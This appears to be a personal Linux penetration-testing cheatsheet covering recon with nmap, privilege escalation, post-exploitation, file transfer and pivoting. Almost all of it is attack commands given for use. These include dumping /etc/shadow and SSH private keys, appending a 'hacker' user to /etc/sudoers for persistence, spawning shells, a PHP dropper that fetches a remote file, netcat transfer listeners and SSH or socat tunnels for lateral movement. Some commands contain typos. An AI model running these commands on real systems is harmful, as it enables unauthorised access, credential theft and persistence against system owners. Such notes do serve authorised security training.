Linux Notes And Cheatsheet

Enumeration

Basics

whoami
hostname 
uname -a
cat /etc/password
cat /etc/shadow
groups
ifconfig
netstat -an
ps aux | grep root
uname -a
env
id
cat /proc/version
cat /etc/issue
cat /etc/passwd
cat /etc/group
cat /etc/shadow
cat /etc/hosts

Recon

Always start with a stealthy scan to avoid closing ports.

# Syn-scan
nmap -sS INSERTIPADDRESS

# Scan all TCP Ports
nmap INSERTIPADDRESS -p-

# Service-version, default scripts, OS:
nmap INSERTIPADDRESS -sV -sC -O -p 111,222,333

# Scan for UDP
nmap INSERTIPADDRESS -sU

# Connect to udp if one is open
nc -u INSERTIPADDRESS 48772

UDP Scan

./udpprotocolscanner <ip>

FTP Enum

nmap --script=ftp-anon,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 INSERTIPADDRESS

Start Web Server

python -m SimpleHTTPServer 80

Exploit

libSSH Authentication Bypass - CVE-2018-10933

https://github.com/blacknbunny/libSSH-Authentication-Bypass

Use nc <ip> 22 to banner grab the SSH Service, if it's running vulnerable version of libSSH then you can bypass

Privilege Escalation

Basics

cat /proc/version <- Check for kernel exploits
ps auxww
ps -ef
lsof -i
netstat -laputen
arp -e
route
cat /sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
cat /etc/issue
cat /etc/*-release
cat /proc/version
uname -a
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
lsb_release -a

Run pspy64

#https://github.com/DominicBreuker/pspy

Run in background and watch for any processes running

Spawn TTY

#https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
awk 'BEGIN {system("/bin/sh")}'
find / -name blahblah 'exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
python: exit_code = os.system('/bin/sh') output = os.popen('/bin/sh').read()
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
irb(main:001:0> exec "/bin/sh"
Can also use socat

Enum Scripts

cd /EscalationServer/
chmod u+x linux_enum.sh
chmod 700 linuxenum.py

./linux_enum.sh
python linuxenum.py

Add User to Sudoers

echo "hacker ALL=(ALL:ALL) ALL" >> /etc/sudoers

List CronJobs

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

Check for SSH Readable SSH Keys for Persistence and Elevation

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

Startup Scripts

find / -perm -o+w -type f 2>/dev/null | grep -v '/proc\|/dev'

Find Writable Files for Users or Groups

find / perm /u=w -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -f -user `whoami` 2>/dev/null
find / -perm /u+w -user `whoami` 2>/dev/nul

Find Writable Directories for Users or Groups

find / perm /u=w -type -d -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -d -user `whoami` 2>/dev/null

Find World Writable Directories

find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';'
2>/dev/null | grep -v root

find / -writable -type d 2>/dev/null

Find World Writable Directories for Root

find / \( -wholename ‘/home/homedir*’ -prune \) -o \( -type d -perm -0002 \) -exec ls -ld ‘{}’ ‘;’
2>/dev/null | grep root

Find World Writable Files

find / \( -wholename ‘/home/homedir/*’ -prune -o -wholename ‘/proc/*’ -prune \) -o \( -type f -perm
-0002 \) -exec ls -l ‘{}’ ‘;’ 2>/dev/null

Find World Writable files in /etc

find /etc -perm -2 -type f 2>/dev/null

Sniff Traffic

tcpdump -i eth0 <protocol>
tcpdump -i any -s0 -w capture.pcap
tcpdump -i eth0 -w capture -n -U -s 0 src not 192.168.1.X and dst not 192.168.1.X
tcpdump -vv -i eth0 src not 192.168.1.X and dst not 192.168.1.X

User Installed Software (Sometimes Misconfigured)

/usr/local/
/usr/local/src
/usr/local/bin
/opt/
/home
/var/
/usr/src/

Post Exploitation

Get Capabilities

/sbin/getcap -r / 2>/dev/null

Get SUID Binaries

find / -perm -u=s -type f 2>/dev/null

Check Sudo Config

sudo -l

File Transfers

Base64

cat file.transfer | base64 -w 0 
echo base64blob | base64 -d > file.transfer

Curl

curl http://webserver/file.txt > output.txt

wget

wget http://webserver/file.txt > output.txt

FTP

pip install pyftpdlib
python -m pyftpdlib -p 21 -w

TFTP

service atftpd start
atftpd --daemon --port 69 /tftp
/etc/init.d/atftpd restart
auxiliary/server/tftp

NC Listeners

nc -lvnp 443 < filetotransfer.txt
nc <ip> 443 > filetransfer.txt 

PHP File Transfers

echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

SCP

# Copy a file:
scp /path/to/source/file.ext username@192.168.1.101:/path/to/destination/file.ext

# Copy a directory:
scp -r /path/to/source/dir username@192.168.1.101:/path/to/destination

Lateral Movement / Pivoting

SSH Local Port Forward

ssh <user>@<target> -L 127.0.0.1:8888:<targetip>:<targetport>

SSH Dynamic Port Forward

ssh -D <localport> user@host
nano /etc/proxychains.conf
127.0.0.1 <localport>

Socat Port Forward

./socat tcp-listen:5000,reuseaddr,fork tcp:<target ip>:5001